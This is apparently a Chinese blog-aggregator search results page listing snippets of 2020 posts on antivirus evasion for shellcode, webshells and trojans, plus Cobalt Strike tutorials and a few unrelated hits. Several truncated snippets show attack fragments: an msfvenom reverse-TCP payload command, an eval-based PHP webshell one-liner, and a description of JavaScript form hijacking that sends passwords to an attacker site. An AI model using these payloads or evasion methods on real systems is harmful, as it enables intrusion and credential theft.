strike免杀

【漏洞预警】Cobalt Strike team服务被爆RCE漏洞,尽快升级最新版

安全客点评：前段时间Metasploit刚爆出反序列化漏洞导致可远程非授权执行代码,今天又爆出CobaltStriketeam服务RCE漏洞，看来安全人员在使用这些优秀的开源工具进行渗透测试的时候，也要时刻小心那双无形的手。概要昨日，CobaltStriketeam服务器爆出一个远程代码执行漏洞。用户可以使用内置的更新程序./update更新这个紧急热补丁。最新可下载的试用版本已经安装了该热补丁。
SAKAISON·2020-07-01 13:32

【免杀篇】远控免杀专题(28)-C、C++加载shellcode免杀(下)

当你的才华还撑不起你的野心时那你就应该静下心来学习目录0x01C/C++加载shellcode免杀介绍0x02使用shellcode加载器使用shellcode_launcher(VT免杀率3/71)使用
Agan '·2020-07-01 09:34

恶意代码常用技术解析-释放篇.

debug版本介绍最近在分析恶意样本，对于各种恶意代码的行为特征和运行机制有了一些总结，抱着知己知彼才能百战百胜的态度，重新梳理一下分析时遇到的一些恶意代码的技术的手段，从一个病毒的释放、注入、隐藏和免杀等过程采用的思路和实现方法出发来进一步刨析这些代码的原理
#搬砖仔·2020-06-30 22:00

Lesson84 On strike 罢工

一.课文内容Busmenhavedecidedtogoonstrikenextweek.ThestrikeisduetobeginonTuesday.Nooneknowshowlongitwilllast.Thebusmenhavestatedthatthestrikewillcontinueuntilgeneralagreementisreachedaboutpayandworkingcondi
艾丽1223·2020-06-30 19:53

TextView使用Paint设置下划线删除线效果

Paint.UNDERLINE_TEXT_FLAG|Paint.ANTI_ALIAS_FLAG);//设置下划线TextViewtv2=findViewById(R.id.tv2);tv2.getPaint().setFlags(Paint.STRIKE_THRU_TEXT_FLA
这个杀手不太累·2020-06-30 15:14

绕过网站安全狗拦截，上传Webshell技巧总结（附免杀PHP一句话）

转载自：http://www.freebuf.com/articles/web/125084.html*本文原创作者：1_2，本文属FreeBuf原创奖励计划，未经许可禁止转载这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法。思路是：修改HTTP请求，构成畸形HTTP请求，然后绕过网站安全狗的检测。废话不多说，切入正题。。。。1、实验环境：WindowsServer2003、A
xuchen16·2020-06-30 03:53

javascript表单劫持用户密码（后门免杀）

试验开始javascript表单劫持其实应该可以留有很多后门，但是我暂时只想到这一种，还希望社区的大神能够完善这篇文章·~~~~原理：在正常的登陆页面，留下一段恶意JS代码，在登陆账号密码的同时，也会把账号密码悄悄的发送到我们的站点上~~~test.html正常页面test2.php用来验证账号密码数据的正常页面test3.php攻击站点用来接收账号密码的页面http://127.0.0.1你自己
i春秋论坛·2020-06-29 19:35

【转载】WebShell通用免杀的思考

“阅读本文大概需要8分钟。”2020年第11篇文章，flag继续每周至少更一篇前言良好的习惯是人生产生复利的有力助手最近一段时间，看了很多认知方面的书，对我的改变还是很大的。之前看待事物总是看其一角，做技术也是囿于一面，思维不是很开阔，经过不断地看书，思考，认知慢慢有了改变，获益良多。作为技术人员，我的建议是不要总是看技术书籍或者一心研究技术，多看看哲学，认知，效率，商业方面的书籍，可以让你看到人
weixin_47208161·2020-06-29 17:00

shellcode免杀

登录那些shellcode免杀总结卿i/2020-02-0708:57:08/浏览数6918安全技术二进制安全顶(0)踩(0)自己还是想把一些shellcode免杀的技巧通过白话文、傻瓜式的文章把技巧讲清楚
weixin_46195145·2020-06-29 17:13

Cobalt Strike使用教程一

0x00简介CobaltStrike是一款基于java的渗透测试神器，常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用，分为客户端与服务端，服务端是一个，客户端可以有多个，非常适合团队协同作战，多个攻击者可以同时连接到一个团队服务器上，共享攻击资源与目标信息和sessions，可模拟APT做模拟对抗，进行内网渗透。CobaltStrike集成了端口转
小白白@·2020-06-29 14:52

Cobalt Strike4.0安装包（内附中文版）

1.什么是CobaltStrikeCobaltStrike是一个为对手模拟和红队行动而设计的平台,主要用于执行有目标的攻击和模拟高级威胁者的后渗透行动。CobaltStrike已经不再使用MSF而是作为单独的平台使用，它分为客户端与服务端，服务端是一个，客户端可以有多个，可被团队进行分布式协团操作。集成了端口转发、扫描多模式端口Listener、Windowsexe程序生成、Windowsdll动
传说中的彩虹海·2020-06-29 13:28

使用Shecodject生成免杀木马

文章目录安装使用安装gitclonehttps://github.com/TaroballzChen/Shecodject.gitcdShecodjectcdsetuppython3setup.py使用运行shecodject进入主界面输入mpr设置payload文件设置好后输入run进行生成生成payload后返回主界面生成exe，同样，设置好后输入run找到tmp目录下的配置文件，使用msfc
0x17·2020-06-29 11:29

msf自免杀

今天大致把远控免杀的文章看了一遍，前面的几篇基本去实现了一遍，后面的直到第26篇全是讲解工具的，大致浏览了一遍，但是没有一一实现啦！
小样！！！·2020-06-29 11:02

DVWA之文件上传(file upload）

渗透思路：通过sql注入注出后台管理员密码目录扫描扫出后台登录地址御剑工具登录getshell点上传文件菜刀/蚁剑连接（菜刀免杀/马免杀）绕WAF提权维持访问种植后门清理痕迹先来学习下dvwa(无wa）
渗透之王·2020-06-29 10:19

企业网站前端制作实战教程 JQuery CSS JS HTML 登录界面

h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,font,img,ins,kbd,q,s,samp,small,strike
你知道歌谣吗？·2020-06-29 08:10

Cobalt Strike系列教程3 beacon详解

0x01Beacon详解0x01.1Beacon命令通过系列教程2的学习，配置好Listeners，让目标及执行我们的payload后门程序后，即可发现目标主机已经上线右键目标选择使用Beacon,我们用它来执行各种命令==在CobaltStrike中他的默认心跳是60s（即sleep时间是60s，每一分钟目标主机与teamserver通信一次）这让我们执行命令或者进行其他操作响应很慢。在下载文件
weixin_42140534·2020-06-29 03:37

冰蝎webshell

4.PHP服务端免杀，过安全狗和D盾。5.文件管理模块
小Hier·2020-06-29 02:51

快手前端面试题

a,abbr,em,sub,sup,u,b,strike,span,select,input,br,i,textareablock:独占一行，可以设置宽高，自动填满父元素高度，可以设置marginpaddinginline-block
小爱猴·2020-06-29 01:11

msf生成win版免杀木马

参考一大佬的在linux下生成一个反弹的msf的python脚本,命令如下：msfvenom-pwindows/meterpreter/reverse_tcpLPORT=443LHOST=192.1681.102-ex86/shikata_ga_nai-i11-fpy-o/mo.py查看下py的内容将buf值全部替换成mo.py的，其他不用修改fromctypesimport*importctyp
莫者·2020-06-29 00:53

Cobalt Strike几种不常见的上线方式

#CobaltStrike新增了几种上线方式介绍：Staged和Stageless的区别.前者的实际功能只是和C2建立连接并接收Payload,然后加载执行,而Stageless直接省去了接收Payload的步骤.Stageless生成除了的Payload都会比Staged类型的要大很多,而且包含了特征明细一.windows/beacon_smb/bind_pipe命名管道通过父Beacon进行通
weixin_38168081·2020-06-28 20:59

免杀艺术 1: 史上最全的免杀方法汇总

本文讲的是免杀艺术1:史上最全的免杀方法汇总，从本文开始，我们将分三章来系统的讲述一下有关免杀的各种技术。
weixin_34303897·2020-06-28 16:11

免杀ASP一句话

"日"thentemp=Mid(cc,i,1)+tempelsetemp=vbcrlf&tempendifnextUnEncode=tempendfunction%>密码iew转载于:https://www.cnblogs.com/hookjoy/p/4122331.html
weixin_34148340·2020-06-28 12:51

灰鸽子病毒——网络神偷之后应用最广的反弹端口***

怎样做灰鸽子免杀？打算抄几个文章介绍下这个***，今天开了”灰鸽子“专栏。
weixin_33699914·2020-06-28 03:10

payload免杀之Installutil.exe&csc.exe利用

0x00前言C#的在Windows平台下的编译器名称是Csc.exe。Installutil.exe工具是一个命令行实用程序，允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源，可以执行dll,exe,txt等。这两个东西一般情况下是配合使用。所以就不单独拿出来讲了。0x01利用过程1.下载shellcode.cswgethttps://github.com/222222amor/ex
weixin_30883311·2020-06-28 02:57

payload免杀之msbuild利用

0x00前言红队必备技巧免杀之一，现在主要是.net4.0下实现。待我过几天有空实现一下.net2.0。
weixin_30883311·2020-06-28 02:26

《Python绝技：运用Python成为顶级黑客》 用Python实现免杀

1、免杀的过程：使用Metasploit生成C语言风格的一些shellcode作为载荷，这里使用Windowsbindshell，功能为选定一个TCP端口与cmd.exe进程绑定在一起，方便攻击者远程连接进行操控
weixin_30746117·2020-06-28 00:44

Avet Tool Kali Linux后门免杀

资源：https://github.com/govolution/avet1、在kali上下载：https://sourceforge.net/projects/tdm-gcc/root@kali:/tmp#wget-c--no-check-certificatehttps://nchc.dl.sourceforge.net/project/tdm-gcc/TDM-GCC%20Installer/
一点也不想吃辣·2020-06-27 23:45

36.浅谈DLL劫持

最近在搞内网，需要实现免杀后门，大佬推荐了dll劫持，DLL劫持后，能干很多事情，比如杀软对某些厂商的软件是实行白名单的，你干些敏感操作都是不拦截，不提示的。还有留后门，提权等等。
weixin_30265171·2020-06-27 15:08

一键免杀D盾(免杀一句话无限生成) ——yzddMr6

前言最近逛帖子发现好多人还在找各种免杀一句话。。。都9102年了都不知道有webshell-venom这个东西吗。。。看来我的宣传还是不到位。。。
yzddMr6·2020-06-27 12:09

木马免杀全攻略

木马免杀全攻略[续](图)大家好，很高兴又与大家见面了，不知道大家对上期的文章是否满意，但是木马的免杀很多啊!
usertony·2020-06-27 10:30

网络安全入门资料

课程安全圈白帽子学院信息安全经典书籍教学视频论坛《黑客攻防技术宝典（web实战篇）》《白帽子讲web安全》《web前端黑客技术解密》《WEB之困》《SQL注入攻击与防御》《Metasploit渗透测试指南》《黑客免杀攻防
小心灵呀·2020-06-27 02:32

木马免杀原理详解

免杀常用的工具：Ollydbg调试器简称OD
star1389·2020-06-26 14:01

MSF生成meterpreter及静态免杀

1.静态免杀1.1编译c文件，静态免杀1.1.1生成shellcode在kali命令行输入msfvenom-pwindows/meterpreter/reverse_tcp-ex86/shikata_ga_nai-i12
斯利普·2020-06-26 13:41

渗透测试web安全 - webshell 免杀 绕过waf总结

在做渗透测试的过程中经常会遇到waf的阻拦，针对waf绕过webshell篇总结如下，肯定有遗漏，之后学习之后再继续补充。小型网站常见的waf有：D盾一句话免疫,主动后门拦截,SESSION保护,防WEB嗅探,防CC,防篡改,注入防御,防XSS,防提权,上传防御,未知0day防御,异形脚本防御等等。防止黑客入侵和提权,让服务器更安全。云锁云上的安全边界越来越模糊，依靠传统的硬件堆叠的安全防御方式已
white-night·2020-06-26 10:00

介绍 RWSH – Ray’s Web SHell (php过狗一句话,过狗菜刀,2016过狗一句话,2016php免杀一句话)

中国菜刀下载,基于原版中国菜刀优化版20160309.下载地址:http://download.csdn.net/detail/settoken/9457567http://pan.baidu.com/s/1jHoJxHWChinachopperhttp://pan.baidu.com/s/1eRxEYjCRWSH(pronounced“rush”–credittomyfriendGrevfort
settoken·2020-06-26 08:50

php回调后门,php过WAF一句话,php最新一句话,php过狗一句话.

9457567http://pan.baidu.com/s/1jHoJxHWChinachopperhttp://pan.baidu.com/s/1eRxEYjC分享一下，一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截过
settoken·2020-06-26 08:18

【免杀测试】Kali之Metasploit几款工具免杀练习

普通的木马已经很容易被查杀工具识别，这时就催生出了免杀技术来绕过杀毒软件。
Sec朔方·2020-06-26 08:34

shecodject生成免杀木马，一步过360、火绒

gtihub下载和安装https://github.com/TaroballzChen/shecodject直接切到setup/python3setpu.py时间有点长，请耐心等待。使用python3shecodject.py功能介绍mpr生成msf有效shellcodemprrunexe生成shellcode后返回主界面生成exe文件run注意：记得设True，让exe程序运行时不会弹出控制台，
被遗弃的盒子·2020-06-26 03:05

无限免杀D盾脚本之aspx ——yzddMr6

前言自己曾经写过一篇文章:利用随机异或无限免杀某盾php的webshell免杀方法有很多,但是市面上很少有讲aspx免杀的文章.因为aspx的权限一般较大,对于渗透过程中还是很重要的,所以就想着写一篇文章来简单的介绍下
yzddMr6·2020-06-26 01:02

webshell-venom 3.2 :免杀D盾无压力 ——yzddMr6

前言感谢大家对webshell-venom的支持星球自开启以来已经源源不断有各路大佬加入并且一起交流了很多的思路跟想法为了不辜负大家的期望自己这几天一大早上就起来写脚本发文章，基本上星球里都是一天两更项目在今天也达到了700个星image所以特地推出webshell-venom3.2版本webshell-venom3.2的蚁剑插件版也已经在蚁剑商店上市image原来已经有的点击更新即可3.2是gi
yzddMr6·2020-06-26 01:02

一键免杀D盾(免杀一句话无限生成) ——yzddMr6

前言最近逛帖子发现好多人还在找各种免杀一句话。。。都9102年了都不知道有webshell-venom这个东西吗。。。看来我的宣传还是不到位。。。
yzddMr6·2020-06-26 01:02

远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70)

0x00免杀能力一览表几点说明：1、表中标识√说明相应杀毒软件未检测出病毒，也就是代表了Bypass。
go0dStudy·2020-06-25 21:10

【个人笔记】过D盾PHP免杀一句话

不过D盾还能叫马吗第一种c);}}$zxvg=newZXVG();@$zxvg->c=$_POST['mr6'];第二种<?phpeval(''.get().'');/***@returnstring*/functionget(){$get=$_GET['password'];return$get;}
A4m1n·2020-06-25 19:14

Webshell免杀套路

0x00说明一下，之所转载这篇文章的原因因为前几天详细看了几个小马，想研究一下免杀的技巧，研究了下火绒安全对小马的免杀效果，跟下面描述的效果差不多，不过像D盾，360网站安全卫士等等的这些WAF效果我就不清楚了其实总结下来
菜鸟之小菜·2020-06-25 14:30

深究异或webshell原理以及服务器处理免杀的流程

01.前言之前一直接触rce；但是总是可以看到过滤就可以考虑无数字和字母的webshell或者免杀马，但是今天碰到一道题，让我深刻理解了深究的重要性；不能无脑依靠网上无数字和字母的webshell了；需要知道细节
合天智汇·2020-06-25 13:13

攻防技术——源码免杀实战

源码免杀实战QQ1285575001WechatM010527技术交流QQ群599020441纪年科技aming#1看一下今天的马子Gh0st改良版开始搞事免杀原理病毒样本内存地址/段分析师定位原始特征码
amingMM·2020-06-25 07:35

shellcode——payload分离免杀

anti-virussecuritysoftware三种特点基于特征基于行为基于云查杀-特征查杀都是特别针对PE头文件的查杀当payload文件越大的时候，特征越容易查杀反制查杀机制（概括）采取特征与行为分离免杀避免
amingMM·2020-06-25 07:35

基于 msf 的免杀项目的一些工具

https://mp.weixin.qq.com/s/W7mBroOtVUdMHA7f07J_7Q转载自信安之路这两个月来持续的糜烂，乱七八糟的事，在今天lol完觉得不能再浪费时间来Orz，向大神们开始学习来0x02avet工具使用此工具当年在2017年黑帽大会上惊艳全场，使用kali下载:gitclonehttps://github.com/govolution/avet.git进入avet文件
ProjectDer·2020-06-25 06:28

h5干货

h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike
西西里______·2020-06-25 05:06

分享一些无特征PHP一句话-20150719

分享些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。
qq_27446553·2020-06-25 03:26
上一页 15 16 17 18 19 20 21 22 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他